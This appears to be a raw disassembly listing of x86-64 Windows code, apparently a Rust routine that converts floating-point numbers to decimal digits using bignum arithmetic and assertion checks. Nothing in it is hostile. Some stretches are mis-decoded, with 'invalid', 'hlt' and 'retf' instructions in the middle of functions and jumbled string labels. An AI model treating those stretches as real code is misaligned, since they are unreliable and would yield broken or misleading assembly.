setne bl
neg bl
cmp bl, 1
ja 0x140020d3c
test rcx, rcx
mov edi, dword [rsp + 0x54]
je 0x140020def
cmp rcx, 1
jne 0x140020d48
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x140020dab
mov rcx, rax
mov edi, dword [rsp + 0x54]
jmp 0x140020dfa
mov rbx, rcx
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
mov r8d, dword [rsp + rdi*4 + 0x200]
not r8d
movzx eax, al
bt eax, 0
adc dword [rsp + rdi*4 + 0xb0], r8d
mov eax, dword [rsp + rdi*4 + 0x204]
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
lea rdi, [rdi + 2]
setb al
cmp rbx, rdi
jne 0x140020d60
test cl, 1
jne 0x140020da8
test al, al
mov edi, dword [rsp + 0x54]
jne 0x140020def
jmp 0x1400211bc
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x200]
not r8d
mov ebx, dword [rsp + rdi*4 + 0xb0]
lea r15d, [r8 + rbx]
movzx r13d, al
add r13d, r15d
setb al
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
mov r13, r9
mov edi, dword [rsp + 0x54]
lea r15, [rsp + 0x200]
jb 0x140020def
test al, al
je 0x1400211bc
mov qword [rsp + 0x150], rcx
inc sil
cmp r11, qword [rsp + 0x58]
je 0x140021108
add sil, 0x30
mov byte [rsp + r11 + 0x3f8], sil
test rcx, rcx
je 0x140020e6f
lea r11, [rcx*4]
xor esi, esi
xor eax, eax
nop word cs:[rax + rax]
mov r8d, dword [rsp + rsi + 0xb0]
lea r8, [r8 + r8*4]
lea rax, [rax + r8*2]
mov dword [rsp + rsi + 0xb0], eax
shr rax, 0x20
add rsi, 4
cmp r11, rsi
jne 0x140020e30
test rax, rax
je 0x140020e71
cmp rcx, 0x27
ja 0x1400210f2
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x140020e71
xor ecx, ecx
mov qword [rsp + 0x150], rcx
cmp rdx, rbp
jne 0x1400208f1
mov al, 1
mov rsi, qword [rsp + 0x58]
jmp 0x140020e8f
xor eax, eax
xor ebp, ebp
cmp r12, 0x29
jae 0x140021187
test r12, r12
je 0x140020f24
lea r8, [r12*4]
xor r9d, r9d
xor edx, edx
nop
mov r10d, dword [rsp + r9 + 0x200]
lea r10, [r10 + r10*4]
add r10, rdx
mov rdx, r10
shr rdx, 0x20
mov dword [rsp + r9 + 0x200], r10d
add r9, 4
cmp r8, r9
jne 0x140020eb0
test rdx, rdx
je 0x140020f27
cmp r12, 0x27
ja 0x1400210f2
mov dword [rsp + r12*4 + 0x200], edx
inc r12
jmp 0x140020f27
mov rdx, qword [rsp + 0x58]
cmp rbp, rdx
ja 0x1400211d4
mov r8, rbp
sub r8, r11
je 0x140021059
lea rcx, [rsp + r11]
add rcx, 0x3f8
mov dl, 0x30
call fcn.140071950
jmp 0x140021059
xor r12d, r12d
mov qword [rsp + 0x2a0], r12
cmp rcx, r12
cmova r12, rcx
cmp r12, 0x29
jae 0x140021187
shl r12, 2
mov ecx, 0xff
nop dword [rax]
test r12, r12
je 0x140020f82
mov r8d, dword [rsp + r12 + 0x1fc]
xor edx, edx
cmp r8d, dword [rsp + r12 + 0xac]
setne dl
cmova edx, ecx
add r12, 0xfffffffffffffffc
test dl, dl
je 0x140020f50
movzx eax, dl
cmp eax, 1
je 0x140020fb6
jmp 0x140021050
lea rcx, [rsp + r12]
add rcx, 0x200
cmp rcx, r15
sete cl
test al, cl
je 0x140021050
lea rcx, [rbp - 1]
cmp rcx, rsi
jae 0x14002112d
test byte [rsp + rcx + 0x3f8], 1
je 0x140021050
cmp rbp, rsi
ja 0x1400211e3
mov r8, 0xffffffffffffffff
mov rcx, rbp
nop dword [rax]
test rcx, rcx
je 0x140021008
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x3f7], 0x39
je 0x140020fd0
inc byte [rsp + rcx + 0x3f8]
cmp rax, rbp
jae 0x140021050
lea rcx, [rsp + rax]
add rcx, 0x3f8
mov dl, 0x30
call fcn.140071950
jmp 0x140021050
test rbp, rbp
je 0x140021032
mov byte [rsp + 0x3f8], 0x31
mov bl, 0x30
cmp rbp, 1
je 0x140021034
lea rcx, [rsp + 0x3f9]
lea r8, [rbp - 1]
mov dl, 0x30
call fcn.140071950
jmp 0x140021034
mov bl, 0x31
lea eax, [r14 + 1]
cmp r14w, di
jl 0x14002104d
cmp rbp, rsi
jae 0x14002104d
mov byte [rsp + rbp + 0x3f8], bl
inc rbp
mov r14d, eax
cmp rbp, rsi
ja 0x1400211b3
lea rcx, [rsp + 0x3f8]
cmp r14w, di
jle 0x14002028d
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov r8d, r14d
mov r9, qword [rsp + 0x90]
call fcn.14001c510
mov r11, qword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x2a8], r8
mov qword [rsp + 0x2b0], r11
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
call fcn.14001f790
nop
add rsp, 0x7f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov rcx, r11
mov rdx, rsi
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov ecx, 0x28
mov edx, 0x28
call fcn.1400736b0
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
call fcn.1400736b0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
call fcn.1400736b0
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov rdx, rsi
call fcn.1400736b0
mov cl, 2
jmp 0x14001fce7
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x28
mov rcx, rax
call fcn.140073730
lea rcx, [0x14007a581]
lea r8, str._1_ea___9_y_S_8_w2a_2___k_6P_Q1SpmM
mov edx, 0x25
add byte [rax], al
add al, ch
invalid
invalid
invalid
invalid
add byte [rax], al
add al, ch
add eax, 0xd8d4800
add eax, 0xd8d4800
add eax, 0xd8d4800
lea rcx, [0x140079db7]
or eax, 0x58c41
mov word [0x1458f5d79], es
retf
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov edx, 0x1c
add byte [rax], al
add byte [rax], al
call fcn.1400737b0
sub dword [rsi], esp
add eax, 0x58d4c00
invalid
invalid
invalid
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
lea eax, [0x14007b528]
add byte [rdx + 0x28], bh
mov edx, 0x28
mov rcx, r12
call fcn.140073730
lea rcx, [0x14007b577]
lea ecx, [0x14007b577]
movabs dword [0x5a37f058d4c0005], eax
add byte [rdx + 0x1b], bh
mov edx, 0x1b
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
add eax, 0x5a37f
mov edx, 0x1b
call fcn.1400737b0
std
and eax, 0x8d4c0005
lea eax, [0x140079e50]
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
lea eax, [0x140079e50]
add eax, 0x482eeb00
lea ecx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
add bl, ch
lea rcx, cs:[0x14007b540]
jmp 0x1400211ea
lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0
lea r8, str.WYcm_7_x__U_SGp___ia__h_Bf
mov edx, 0x1a
add eax, 0x1aba00
add byte [rax], al
call fcn.1400737b0
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov rcx, rbp
call fcn.140073730
lea r8, str.o_5_9F_M_____o__c_____S54_3_m2s_P______jdv_Q_diassertion_failed:_d.mant___0
mov rcx, rbp
mov rdx, rsi
bnd call fcn.140073730
bnd call fcn.140073730
add ah, cl
int3
int3
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x648
mov rdi, rcx
movq rax, xmm1
mov rbp, rax
shr rbp, 0x34
and ebp, 0x7ff
lea rcx, [rax + rax]
movabs r9, 0x1ffffffffffffe
and r9, rcx
movabs rdx, 0xfffffffffffff
and rdx, rax
movabs rcx, 0x10000000000000
lea rbx, [rdx + rcx]
test ebp, ebp
cmove rbx, r9
ucomisd xmm1, xmm1
jp case.default.0x1400212ac
movabs r9, 0x7ff0000000000000
xor r10d, r10d
mov r11, rax
and r11, r9
setne r10b
lea rsi, [r10*2 + 2]
cmp r11, r9
mov r12d, 1
cmove rsi, r12
hlt
add r10, 3
hlt
test rdx, rdx
cmove r10, rsi
invalid
invalid
dec r10
lea rdx, [0x14008db60]
lea edx, [0x14008db60]
invalid
lea edx, [0x14008db60]
add byte [rsi + 0x63], cl
or al, 0x92
xchg edx, eax
movsxd r9, dword [rdx + r10*4]
xchg edx, eax
add r9, rdx
jmp r9
mov r11b, 3
jmp 0x1400212b7
mov r11b, 4
jmp 0x1400212fb
add ebp, 0xfffffbcd
add ebp, 0xfffffbcd
test bl, 1
sete r11b
jmp 0x1400212fb
test bl, 1
sete r11b
lea rdx, [rbx + rbx]
xor r9d, r9d
cmp rbx, rcx
sete r9b
movabs rbx, 0x40000000000000
cmovne rbx, rdx
lea r12, [r9 + 1]
movzx ebp, bp
sub ebp, r9d
add ebp, 0xfffffbcc
lea ecx, [r11 - 2]
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140021380
mov r15, rax
shr r15, 0x3f
test rax, rax
lea rax, [0x140082ea1]
lea rdx, [0x14008d200]
cmovs rdx, rax
lea r14, [0x14007a57a]
cmovs r14, rax
test r8b, r8b
cmove r14, rdx
mov edx, 1
cmovne r15, rdx
cmp cl, 1
je 0x1400213c1
movzx eax, cl
cmp eax, 2
jne 0x1400213f3
mov word [rsp + 0x1b0], 2
lea rax, [0x140082ea2]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 1
jmp 0x1400213e6
mov word [rsp + 0x1b0], 2
lea rax, [0x14007a57b]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
mov edx, 1
lea rax, [rsp + 0x1b0]
lea r14, [0x14008d200]
xor r15d, r15d
jmp 0x140022ad5
mov word [rsp + 0x1b0], 2
lea rax, [0x14007a57e]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c0], 3
lea rax, [rsp + 0x1b0]
jmp 0x140022ad5
test rbx, rbx
je 0x140022c72
lea rsi, [r12 + rbx]
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shl rcx, 0x20
lea edx, [rbp - 0x20]
test rax, rax
cmovne rcx, rsi
cmovne edx, ebp
mov rax, rcx
shr rax, 0x30
mov r8, rcx
shl r8, 0x10
lea r9d, [rdx - 0x10]
test rax, rax
cmovne r8, rcx
cmovne r9d, edx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r9, rcx
shl r9, 4
test rax, rax
cmovne r9, rcx
lea eax, [rdx - 4]
cmovne eax, edx
mov rcx, r9
shr rcx, 0x3e
lea r10, [r9*4]
lea r8d, [rax - 2]
test rcx, rcx
cmovne r10, r9
cmovne r8d, eax
xor ecx, ecx
test r10, r10
setns cl
shl r10, cl
sub r8d, ecx
lea rdx, [rbx - 1]
mov qword [rsp + 0x450], rdx
mov word [rsp + 0x458], bp
mov ecx, ebp
sub cx, r8w
js 0x140022c8a
and ecx, 0x3f
mov rax, rdx
shl rax, cl
mov r9, rax
shr r9, cl
mov qword [rsp + 0x4f8], r9
cmp r9, rdx
jne 0x140022c49
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x80], r11
mov rdx, rbx
shl rdx, cl
mov r9, rdx
shr r9, cl
mov qword [rsp + 0x450], rbx
mov word [rsp + 0x458], bp
mov qword [rsp + 0x4f8], r9
mov qword [rsp + 0x190], rbx
cmp r9, rbx
jne 0x140022c49
mov ecx, 0xffffffa0
sub ecx, r8d
movsx ecx, cx
lea ecx, [rcx + rcx*4]
shl ecx, 4
add ecx, 0x153b0
imul r9, rcx, 0x7b4dc993
shr r9, 0x26
and r9d, 0xfffffff0
lea rcx, [0x140079e98]
mov r15, qword [r9 + rcx]
movzx r11d, word [r9 + rcx + 0xa]
mov dword [rsp + 0x30], r11d
mov r11, r10
shr r11, 0x20
mov rsi, r11
mov qword [rsp + 0xb0], r11
mov r10d, r10d
mov ebx, r15d
shr r15, 0x20
mov r11, r15
imul r11, r10
mov qword [rsp + 0x48], r11
mov r13, rbx
imul r13, rsi
imul r10, rbx
shr r10, 0x20
mov esi, r13d
add rsi, r10
mov edi, r11d
add rdi, rsi
add r8w, word [r9 + rcx + 8]
mov r14, rax
shr r14, 0x20
mov eax, eax
mov r9, r15
imul r9, r14
mov qword [rsp + 0x40], r9
mov r11, r15
imul r11, rax
imul r14, rbx
imul rax, rbx
shr rax, 0x20
mov r9d, r14d
add r9, rax
mov r10d, r11d
add r10, r9
mov rsi, rdx
shr rsi, 0x20
mov edx, edx
mov r12, r15
imul r12, rdx
mov rcx, rbx
imul rcx, rsi
imul rbx, rdx
shr rbx, 0x20
mov edx, ecx
add rdx, rbx
mov ebx, r12d
add rbx, rdx
mov rdx, r15
imul rdx, qword [rsp + 0xb0]
sub rdi, 0xffffffff80000000
shr r13, 0x20
mov rax, qword [rsp + 0x48]
shr rax, 0x20
shr rdi, 0x20
neg r8d
sub r10, 0xffffffff80000000
shr r14, 0x20
mov qword [rsp + 0x70], r14
shr r11, 0x20
mov qword [rsp + 0x78], r11
shr r10, 0x20
mov r9, r15
mov qword [rsp + 0x178], rsi
imul r9, rsi
sub rbx, 0xffffffff80000000
shr rcx, 0x20
mov qword [rsp + 0x170], rcx
add r9, rcx
shr r12, 0x20
mov qword [rsp + 0x98], r13
mov qword [rsp + 0x88], rdx
lea rcx, [rdx + r13]
mov qword [rsp + 0x48], rax
add rcx, rax
lea r11, [rdi + rcx]
inc r11
and r8d, 0x3f
mov qword [rsp + 0x38], r11
mov ecx, r8d
shr r11, cl
mov edx, 1
shl rdx, cl
mov qword [rsp + 0x168], r12
add r9, r12
shr rbx, 0x20
mov qword [rsp + 0x180], rdx
lea r12, [rdx - 1]
cmp r11d, 0x2710
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0x90], rdi
jae 0x140021717
cmp r11d, 0x64
jae 0x140021742
xor ecx, ecx
cmp r11d, 0xa
setae cl
lea r14d, [rcx + rcx*8]
inc r14d
jmp 0x14002175e
cmp r11d, 0xf4240
jae 0x140021a4d
cmp r11d, 0x186a0
setb cl
mov edx, 0x2710
mov r14d, 0x186a0
cmovb r14d, edx
xor cl, 5
jmp 0x14002175e
cmp r11d, 0x3e8
setb cl
mov edx, 0x64
mov r14d, 0x3e8
cmovb r14d, edx
xor cl, 3
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
mov qword [rsp + 0x160], rbx
add r9, rbx
mov qword [rsp + 0x68], r9
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
and rdi, r12
movzx r9d, cl
mov ecx, r9d
sub ecx, esi
inc ecx
mov qword [rsp + 0x30], rcx
add r13, qword [rsp + 0x70]
add r13, qword [rsp + 0x78]
add r13, r10
mov qword [rsp + 0x40], r13
sub rdx, r13
mov qword [rsp + 0x70], rdx
lea r10, [rdx + 1]
mov rbx, r10
mov qword [rsp + 0x78], r12
and rbx, r12
xor r13d, r13d
mov r12d, 0xcccccccd
nop word cs:[rax + rax]
mov eax, r11d
xor edx, edx
div r14d
add al, 0x30
mov r11d, edx
mov rdx, r11
mov ecx, r8d
shl rdx, cl
mov byte [rsp + r13 + 0x57], al
lea rbp, [rdx + rdi]
mov rsi, r10
sub rsi, rbp
ja 0x14002182f
cmp r9, r13
je 0x140021932
mov eax, r14d
imul rax, r12
shr rax, 0x23
inc r13
cmp r14d, 0xa
mov r14d, eax
jae 0x1400217d0
lea rcx, str.attempt_to_divide_by_zeror9t_Tb_h_RAZTE_H8_g9__v___XG___w_rafN__Kvx__y____95__2J__k9_u2______v_T_eydq_B
lea r8, str.p_vrH___i____z_____c_____N5L__S__db_EoH_U_g__a
mov edx, 0x19
call fcn.1400737b0
mov r10d, r14d
mov ecx, r8d
shl r10, cl
mov r14, qword [rsp + 0x38]
sub r14, qword [rsp + 0x68]
lea rcx, [r14 + 1]
dec r14
cmp rsi, r10
setb r9b
cmp r14, rbp
jbe 0x140021aaf
cmp rsi, r10
jb 0x140021aaf
mov qword [rsp + 0x38], rcx
mov rbx, qword [rsp + 0x98]
mov r12, qword [rsp + 0x48]
lea r8, [rbx + r12]
mov rcx, qword [rsp + 0x90]
add r8, rcx
add r8, qword [rsp + 0x88]
mov r11, r8
sub r11, qword [rsp + 0x68]
sub r11, rbp
sub r8, qword [rsp + 0x40]
lea rsi, [rdi + r10]
sub r8, rsi
sub r8, rdx
mov rbp, qword [rsp + 0x170]
add rbp, rsi
add rbp, qword [rsp + 0x168]
add rbp, qword [rsp + 0x160]
mov r9, qword [rsp + 0x178]
sub r9, qword [rsp + 0xb0]
imul r15, r9
add r15, rbp
sub r15, rbx
sub r15, r12
sub r15, rcx
add r8, 2
nop word cs:[rax + rax]
lea rbx, [rdx + rsi]
cmp rbx, r14
jb 0x140021906
lea r9, [rdx + r15]
cmp r11, r9
jb 0x140021aa1
dec al
mov byte [rsp + r13 + 0x57], al
sub r8, r10
setb r9b
add rdi, r10
cmp rbx, r14
jae 0x14002192a
sub r11, r10
add rsi, r10
add r15, r10
test r9b, r9b
je 0x1400218f0
add rdx, rdi
jmp 0x140021aa7
inc r13
mov r9d, 1
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x180]
mov r11, qword [rsp + 0x78]
nop dword [rax]
cmp r13, 0x10
ja 0x140022b63
mov rax, r9
add rdi, rdi
lea rdx, [rdi + rdi*4]
mov rdi, rdx
and rdi, r11
lea rcx, [r9 + r9]
lea r9, [rcx + rcx*4]
add rbx, rbx
lea rbx, [rbx + rbx*4]
mov ecx, r8d
shr rdx, cl
lea ecx, [rdx + 0x30]
mov byte [rsp + r13 + 0x57], cl
inc r13
mov r10, rbx
sub r10, rdi
jbe 0x140021950
sub r14, qword [rsp + 0x68]
imul r14, r9
lea rcx, [r14 + r9]
cmp r10, r15
setb r11b
jb 0x140021ae8
sub r14, r9
mov r9, r14
sub r9, rdi
jbe 0x140021ae8
add dl, 0x2f
mov r10, rbx
sub r10, r15
sub r10, rdi
mov r8, qword [rsp + 0x98]
add r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x90]
add r8, qword [rsp + 0x88]
add r8, r8
lea r8, [r8 + r8*4]
mov r11, qword [rsp + 0x68]
add r11, r11
lea rsi, [r11 + r11*4]
sub rsi, r8
imul rsi, rax
add rsi, r15
nop word cs:[rax + rax]
lea r8, [rdi + r15]
cmp r8, r14
jb 0x140021a26
lea r11, [rsi + rdi]
cmp r9, r11
jb 0x140021ae5
mov byte [rsp + r13 + 0x56], dl
sub r10, r15
setb r11b
cmp r8, r14
jae 0x140021aeb
dec dl
sub r9, r15
mov rdi, r8
test r11b, r11b
je 0x140021a10
jmp 0x140021aeb
cmp r11d, 0x5f5e100
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
jae 0x140021a80
cmp r11d, 0x989680
setb cl
mov edx, 0xf4240
mov r14d, 0x989680
cmovb r14d, edx
xor cl, 7
jmp 0x140021767
cmp r11d, 0x3b9aca00
setb cl
mov edx, 0x5f5e100
mov r14d, 0x3b9aca00
cmovb r14d, edx
xor cl, 9
jmp 0x140021767
add rdx, rdi
xor r9d, r9d
mov rbp, rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
sub rax, rbp
jbe 0x140021ac9
test r9b, r9b
jne 0x140021ac9
add r10, rbp
sub r10, rcx
jb 0x140021b2a
cmp rax, r10
jae 0x140021b2a
cmp rbp, 2
jb 0x140021b2a
mov rax, qword [rsp + 0x70]
add rax, 0xfffffffffffffffd
cmp rbp, rax
ja 0x140021b2a
inc r13
jmp 0x140022a9b
xor r11d, r11d
mov r8, rdi
mov rdx, rcx
sub rdx, r8
jbe 0x140021b05
test r11b, r11b
jne 0x140021b05
add r15, r8
sub r15, rcx
jb 0x140021b2a
cmp rdx, r15
jae 0x140021b2a
lea rcx, [rax*4]
lea rcx, [rcx + rcx*4]
cmp rcx, r8
ja 0x140021b2a
shl rax, 3
lea rax, [rax + rax*4]
sub rbx, rax
cmp r8, rbx
jbe 0x140022a9b
mov rax, qword [rsp + 0x188]
dec rax
je 0x140021b41
bsr rax, rax
xor rax, 0x3f
jmp 0x140021b46
mov eax, 0x40
mov rbx, qword [rsp + 0x80]
mov r8, qword [rsp + 0xa0]
mov r10, qword [rsp + 0xa8]
movsx rcx, r8w
sub rcx, rax
imul rax, rcx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov r9, qword [rsp + 0x190]
mov rdx, r9
shr rdx, 0x20
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x158], rcx
mov dword [rsp + 0xb8], r9d
mov dword [rsp + 0xbc], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm0
movups xmmword [rsp + 0x120], xmm0
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x448], 1
mov dword [rsp + 0x3a8], 1
movups xmmword [rsp + 0x3ac], xmm0
movups xmmword [rsp + 0x3bc], xmm0
movups xmmword [rsp + 0x3cc], xmm0
movups xmmword [rsp + 0x3dc], xmm0
movups xmmword [rsp + 0x3ec], xmm0
movups xmmword [rsp + 0x3fc], xmm0
movups xmmword [rsp + 0x40c], xmm0
movups xmmword [rsp + 0x41c], xmm0
movups xmmword [rsp + 0x42c], xmm0
movups xmmword [rsp + 0x438], xmm0
mov qword [rsp + 0x3a0], 1
mov dword [rsp + 0x300], r10d
movups xmmword [rsp + 0x304], xmm0
movups xmmword [rsp + 0x314], xmm0
movups xmmword [rsp + 0x324], xmm0
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
movups xmmword [rsp + 0x390], xmm0
movups xmmword [rsp + 0x2e8], xmm0
movups xmmword [rsp + 0x2dc], xmm0
movups xmmword [rsp + 0x2cc], xmm0
movups xmmword [rsp + 0x2bc], xmm0
movups xmmword [rsp + 0x2ac], xmm0
movups xmmword [rsp + 0x29c], xmm0
movups xmmword [rsp + 0x28c], xmm0
movups xmmword [rsp + 0x27c], xmm0
movups xmmword [rsp + 0x26c], xmm0
movups xmmword [rsp + 0x25c], xmm0
mov qword [rsp + 0x2f8], 1
mov dword [rsp + 0x258], 1
test r8w, r8w
js 0x140021d70
movzx esi, r8w
lea rcx, [rsp + 0xb8]
mov rdx, rsi
call fcn.14001c220
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.14001c220
lea rcx, [rsp + 0x300]
mov rdx, rsi
jmp 0x140021d7f
neg r8d
movsx rdx, r8w
lea rcx, [rsp + 0x258]
call fcn.14001c220
test r14w, r14w
js 0x140021d98
movzx edx, r14w
lea rcx, [rsp + 0x258]
jmp 0x140021dcb
mov eax, r14d
neg eax
movzx esi, ax
lea rcx, [rsp + 0xb8]
mov rdx, rsi
call fcn.14001bdf0
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.14001bdf0
lea rcx, [rsp + 0x300]
mov rdx, rsi
call fcn.14001bdf0
mov rsi, qword [rsp + 0x158]
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb8]
mov r8d, 0xa0
call fcn.1400712b0
mov qword [rsp + 0x250], rsi
mov rcx, qword [rsp + 0x3a0]
cmp rsi, rcx
mov rax, rcx
cmova rax, rsi
cmp rax, 0x28
ja 0x140022bf0
test rax, rax
je 0x140021e29
cmp rax, 1
jne 0x140021e30
xor edx, edx
xor r8d, r8d
jmp 0x140021e81
xor eax, eax
jmp 0x140021ec9
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop dword [rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0x300]
mov r10d, dword [rsp + rdx*4 + 0x304]
adc dword [rsp + rdx*4 + 0x1b0], r8d
adc dword [rsp + rdx*4 + 0x1b4], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x140021e40
test al, 1
jne 0x140021e81
test r8b, r8b
je 0x140021ec9
jmp 0x140021eb1
mov r9d, dword [rsp + rdx*4 + 0x1b0]
mov r10d, dword [rsp + rdx*4 + 0x300]
lea r11d, [r9 + r10]
movzx edi, r8b
add edi, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x1b0], edi
add r9d, r10d
jb 0x140021eb1
test r8b, r8b
je 0x140021ec9
cmp rax, 0x27
ja 0x140022bb2
mov dword [rsp + rax*4 + 0x1b0], 1
inc rax
mov qword [rsp + 0x250], rax
mov rdi, qword [rsp + 0x2f8]
cmp rdi, rax
cmova rax, rdi
cmp rax, 0x29
jae 0x140022bf0
shl rax, 2
mov edx, 0xff
nop word cs:[rax + rax]
test rax, rax
je 0x140021f36
mov r9d, dword [rsp + rax + 0x1ac]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0x254]
setne r8b
cmova r8d, edx
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x140021f00
cmp r8b, bl
jge 0x140021f56
inc r14d
jmp 0x14002208a
add rax, rsp
add rax, 0x1b0
lea rdx, [rsp + 0x1b0]
cmp rax, rdx
setne r8b
neg r8b
cmp r8b, bl
jl 0x140021f2e
test rsi, rsi
je 0x140021fb0
lea rdx, [rsi*4]
xor r8d, r8d
xor eax, eax
nop dword [rax + rax]
mov r9d, dword [rsp + r8 + 0xb8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x140021f70
test rax, rax
je 0x140021fb2
cmp rsi, 0x27
ja 0x140022bc8
mov dword [rsp + rsi*4 + 0xb8], eax
inc rsi
jmp 0x140021fb2
xor esi, esi
mov qword [rsp + 0x158], rsi
mov rax, qword [rsp + 0x448]
cmp rax, 0x29
jae 0x140022bf0
test rax, rax
je 0x140022020
lea r8, [rax*4]
xor r9d, r9d
xor edx, edx
nop
mov r10d, dword [rsp + r9 + 0x3a8]
lea r10, [r10 + r10*4]
lea rdx, [rdx + r10*2]
mov dword [rsp + r9 + 0x3a8], edx
shr rdx, 0x20
add r9, 4
cmp r8, r9
jne 0x140021fe0
test rdx, rdx
je 0x140022022
cmp rax, 0x27
ja 0x140022bb2
mov dword [rsp + rax*4 + 0x3a8], edx
inc rax
jmp 0x140022022
xor eax, eax
mov qword [rsp + 0x448], rax
test rcx, rcx
je 0x140022080
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0x300]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x300], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x140022040
test rax, rax
je 0x140022082
cmp rcx, 0x27
ja 0x140022b79
mov dword [rsp + rcx*4 + 0x300], eax
inc rcx
jmp 0x140022082
xor ecx, ecx
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x30], r14
lea rsi, [rsp + 0x5a0]
lea r14, [rsp + 0x258]
mov r8d, 0xa0
mov rcx, rsi
mov rdx, r14
call fcn.1400712b0
mov qword [rsp + 0x640], rdi
mov edx, 1
mov rcx, rsi
call fcn.14001c220
mov rsi, qword [rsp + 0x2f8]
lea rdi, [rsp + 0x4f8]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, r14
call fcn.1400712b0
mov qword [rsp + 0x598], rsi
mov edx, 2
mov rcx, rdi
call fcn.14001c220
mov rsi, qword [rsp + 0x2f8]
lea rdi, [rsp + 0x450]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, r14
call fcn.1400712b0
mov qword [rsp + 0x4f0], rsi
mov edx, 3
mov rcx, rdi
call fcn.14001c220
mov rcx, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x158]
cmp r15, rcx
mov qword [rsp + 0x38], rcx
cmova rcx, r15
cmp rcx, 0x28
ja 0x140022c04
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x2f8]
xor r13d, r13d
mov r12d, 0xff
jmp 0x1400221b0
xor ecx, ecx
mov qword [rsp + 0x3a0], rcx
mov rcx, qword [rsp + 0x38]
cmp r15, rcx
cmova rcx, r15
cmp rcx, 0x28
